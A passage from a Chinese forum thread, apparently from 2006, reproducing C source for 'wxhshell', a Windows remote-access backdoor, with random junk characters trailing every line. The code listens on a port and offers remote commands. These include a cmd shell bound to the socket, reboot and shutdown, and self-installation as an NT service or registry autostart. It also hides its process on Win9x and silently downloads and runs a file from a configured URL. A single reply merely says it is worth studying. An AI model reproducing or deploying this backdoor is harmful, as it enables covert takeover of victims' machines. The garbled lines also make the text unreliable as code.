  if(DownloadFile(cmd,wsh)) =%+o4\N,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #> @~3kGg  
  else !$5.\D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^t#W?rxp&  
  } SByn u  
  else { `(@}O?w!1  
_yJAn\  
    switch(cmd[0]) { ~i ImM|*0  
  \6z_ ;  
  // 帮助 a2tRmil  
  case '?': { G(6MLh1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e;ej/)no`  
    break; mz kv/  
  } FJl_2  
  // 安装 \uT y\KA  
  case 'i': { Bw;LGEHi|  
    if(Install())  [ijK ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p2Fff4nQ   
    else +^\TG>le  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p^uX{!  
    break; jx7b$x]  
    } >PBP:s1f4>  
  // 卸载 sWc_,[b  
  case 'r': { !QTfQ69Y0  
    if(Uninstall()) CCQ38P@rv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qB0F9[U  
    else ~ & @UH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zj9)vr`7  
    break; -4 !9cE  
    } Bl"BmUn  
  // 显示 wxhshell 所在路径 g* & |Eq/  
  case 'p': { I}S~,4  
    char svExeFile[MAX_PATH]; d@?++z  
    strcpy(svExeFile,"\n\r"); ZWH9E.uj  
      strcat(svExeFile,ExeFile); hhU: nw  
        send(wsh,svExeFile,strlen(svExeFile),0); +=Q/'g   
    break; zc n/LF  
    } 7ZsBYP8%  
  // 重启 qlJzXq{|`  
  case 'b': { ,sqx xq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X*^^W_LH.  
    if(Boot(REBOOT)) 6(5YvT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TOe=6 Z5h  
    else { g]V_)}  
    closesocket(wsh); \69h>h  
    ExitThread(0); Z Vin+z  
    } k+D"LA%J  
    break; k)t_U3i  
    } %]m/fo4b  
  // 关机 p!OCF]r  
  case 'd': { Duu)8ru  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |*T3TsP u  
    if(Boot(SHUTDOWN)) 1ab_^P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; m]KKB  
    else { 2.>WR~ \  
    closesocket(wsh); rEF0A&5  
    ExitThread(0); o;zU;pkB  
    } k"z ~>  
    break; 1[g -f ,  
    } IOjp'6Yr  
  // 获取shell Wz%b,!  
  case 's': { X^td`}F/=V  
    CmdShell(wsh); j^V r!y  
    closesocket(wsh); 0eP ]  
    ExitThread(0); U $2"ZyFii  
    break; Vx<`6uv  
  } %wDE+&M  
  // 退出 OtVRhR3>  
  case 'x': { <?&Y_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cR *5iqA  
    CloseIt(wsh); ,'nd~{pX"(  
    break; j v4O  
    } Tx19\\r  
  // 离开 C+m%_6<  
  case 'q': { nc2=S^Fqu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [B,w\PLub  
    closesocket(wsh); nqFJNK]a  
    WSACleanup(); J\@W+/#dF  
    exit(1); d:X@zUR*)  
    break; Pss$[ %  
        } ^xt@  
  } a7fFp 9l!  
  } u^4$<fd  
6L!/#d0  
  // 提示信息 '-l.2IUyT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p=jpk@RX  
} 28! ke  
  } q?* z<)#  
TlEd#XQgf&  
  return; 8)o%0#;0B  
} 0z =?}xr  
w:VD[\h  
// shell模块句柄 (Qcd !!   
int CmdShell(SOCKET sock) =`KA@~XH4  
{ i< b-$9  
STARTUPINFO si; hjgB[ &U>  
ZeroMemory(&si,sizeof(si)); ,6 IKkyD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Zy[2M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c<a)Yqf"]  
PROCESS_INFORMATION ProcessInfo; "OO)m](w  
char cmdline[]="cmd"; Z_h-5VU-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I !J'  
  return 0; kj>!&W57  
} X=KC +1e  
&~a S24c  
// 自身启动模式 N`HiNb [  
int StartFromService(void) } 3}H}  
{ ,(A $WT@e  
typedef struct % aqP{mOO  
{ B2,c_[UZ.  
  DWORD ExitStatus; H:F'5Zt  
  DWORD PebBaseAddress; 6E-AfY'<  
  DWORD AffinityMask; Nl'@Y^8N  
  DWORD BasePriority; ictV7)  
  ULONG UniqueProcessId; QnA~,z/ .w  
  ULONG InheritedFromUniqueProcessId; ]5r@`%9  
}   PROCESS_BASIC_INFORMATION; ntntB{t  
jx{wOb~oO)  
PROCNTQSIP NtQueryInformationProcess; :>y;*x0w  
v&qL r+_7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jVPX]8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \iP5.3C  
L++qMRk9  
  HANDLE             hProcess; \^1S:z  
  PROCESS_BASIC_INFORMATION pbi; {e5DQ21.  
w>o/)TTJL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s1]m^,  
  if(NULL == hInst ) return 0; v!W{j&N  
*XOLuPL>6)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W\2 ']7}e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6f:uAFwG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); suS[P?4  
nb.|^O?  
  if (!NtQueryInformationProcess) return 0; +s;>@j()V  
)Dp0swJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6>]w1 H  
  if(!hProcess) return 0; RGL2S]UFs  
|\W53,n9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f`)*bx  
.8->n aj|  
  CloseHandle(hProcess); 15S&,$ 1&  
l8khu)\n4R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .DI?-=p|_#  
if(hProcess==NULL) return 0; @QMy!y_K~m  
K3Bw3j 9  
HMODULE hMod; pC]XbokES  
char procName[255]; :dqZM#$d  
unsigned long cbNeeded; tpb lm|sW  
 !TivQB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (g*j+i  
! 1=*"H%t  
  CloseHandle(hProcess); VEpcCK  
4l7 Ny\J  
if(strstr(procName,"services")) return 1; // 以服务启动 `8S3Y  
vz~Oi  
  return 0; // 注册表启动 :}yT?LIyP  
} t.dr<  
v2I? 5?j  
// 主模块 4BSqL!i(  
int StartWxhshell(LPSTR lpCmdLine) v$D U q+  
{ #N"u 0  
  SOCKET wsl; m8;w7S7,j~  
BOOL val=TRUE; T9I$6HAi  
  int port=0; yIcTc  
  struct sockaddr_in door; [}M!ez  
E%DT;1  
  if(wscfg.ws_autoins) Install(); MI'"Xzp{s  
yx|{:Li!  
port=atoi(lpCmdLine); `IEA  
+ c+i u6+"  
if(port<=0) port=wscfg.ws_port; Xl<iR]lda  
zPc"r$'0 U  
  WSADATA data; <zL_6Y2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2Kf/Id1  
NhCucSU<K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p#{y9s4h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q#G xo  
  door.sin_family = AF_INET; |?#JCG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ) $_1U!z  
  door.sin_port = htons(port); 5 ty2e`~K  
^?Mp(o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -2; 6Pwmv  
closesocket(wsl); 9OV@z6  
return 1; W} i6{ Vh  
} L2,2Sn*4i  
.whi0~i  
  if(listen(wsl,2) == INVALID_SOCKET) { 4`,7 tj  
closesocket(wsl); W~0rSVD$<z  
return 1; v@soS1V!  
} kqm(D#  
  Wxhshell(wsl); KCW2 UyE]  
  WSACleanup(); fj;ZGbg-O  
;_vhKU)%J#  
return 0; mpug#i6q  
j(Lz& *4  
} jkx>o?s)z  
Zs />_w}  
// 以NT服务方式启动 dI ,A;.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q $}#&  
{ `z\hQ%1!F  
DWORD   status = 0; *: @KpYWx"  
  DWORD   specificError = 0xfffffff; -n&&d8G^s  
$C;i}q#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oj - `G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v?OVhV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W|m(Jh[w]  
  serviceStatus.dwWin32ExitCode     = 0; TvDSs])  
  serviceStatus.dwServiceSpecificExitCode = 0; !xfDWbvHV  
  serviceStatus.dwCheckPoint       = 0; dGYR  'x  
  serviceStatus.dwWaitHint       = 0; hK3-j;eg  
iHGVR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T0tX%_6`  
  if (hServiceStatusHandle==0) return; ~^1y(-cw  
0[l}@K?  
status = GetLastError(); 'z;(Y*jb  
  if (status!=NO_ERROR) ;_I>`h"r  
{ ?>h ~"D#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k sv]  
    serviceStatus.dwCheckPoint       = 0; S&` 6pN  
    serviceStatus.dwWaitHint       = 0; @KTuG ?.  
    serviceStatus.dwWin32ExitCode     = status; ;#85 _/  
    serviceStatus.dwServiceSpecificExitCode = specificError; [7I bT:ph  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vTK%4=|1}!  
    return; /y G34) aB  
  } v0\l~_|H  
YGo?%.X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uCDe>Q4@/  
  serviceStatus.dwCheckPoint       = 0; Kz"3ba}KH  
  serviceStatus.dwWaitHint       = 0; CT[9=wV)m%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ty,oj33  
} .G[/4h :.  
&>zH.6%$  
// 处理NT服务事件,比如:启动、停止 @ wR3L:@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =x8[%+  
{ ^cYB.oeu  
switch(fdwControl) MT-Tt  
{ Me .I>7c  
case SERVICE_CONTROL_STOP: Z\nDR|3  
  serviceStatus.dwWin32ExitCode = 0; y!=,u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <l<O2l  
  serviceStatus.dwCheckPoint   = 0; qdix@ @  
  serviceStatus.dwWaitHint     = 0; /Q;wz!V$  
  { 1,fR kQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G,)zn9X  
  } #d@wjQ0DW  
  return; XDY]LAV  
case SERVICE_CONTROL_PAUSE: z%D7x5!,R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zV&l^.  
  break; ;:6\w!fc  
case SERVICE_CONTROL_CONTINUE: 1"H;Tr|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n~ *|JJ*`  
  break; p3M!H2W  
case SERVICE_CONTROL_INTERROGATE: " @D  
  break; `dZ|Ko%k  
}; uV5uZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); izl6L  
} QF>T)1&J[7  
8}0wSVsxV$  
// 标准应用程序主函数 VhO%4[Jl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gA2Wo+\^bq  
{ o !tC{"g  
4,)9@-|0R  
// 获取操作系统版本 I){4MoH.  
OsIsNt=GetOsVer(); ]}v]j`9m%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?\o~P  
HA,o2jZ?In  
  // 从命令行安装 c]^P$F8U  
  if(strpbrk(lpCmdLine,"iI")) Install(); >bW=oTFz  
{M**a  
  // 下载执行文件 EOB8|:*  
if(wscfg.ws_downexe) { "`% ,l|D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `dvg5qQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); yx]9rD1cz  
} PJ5}c!o[  
q94;x|63  
if(!OsIsNt) { Jq/itsg  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bv<gVt  
HideProc(); &aRL}#U  
StartWxhshell(lpCmdLine); flmQNrC.8  
} Fl`U{03  
else 2VN].t:  
  if(StartFromService()) ^%7(  
  // 以服务方式启动 IJ Jp5[w  
  StartServiceCtrlDispatcher(DispatchTable); 9#z$GO|<  
else ^-"Iw y  
  // 普通方式启动 mh3S?Uc  
  StartWxhshell(lpCmdLine); h&'|^;FM  
EZ<:>V-_D  
return 0; >PA*L(Dh%  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五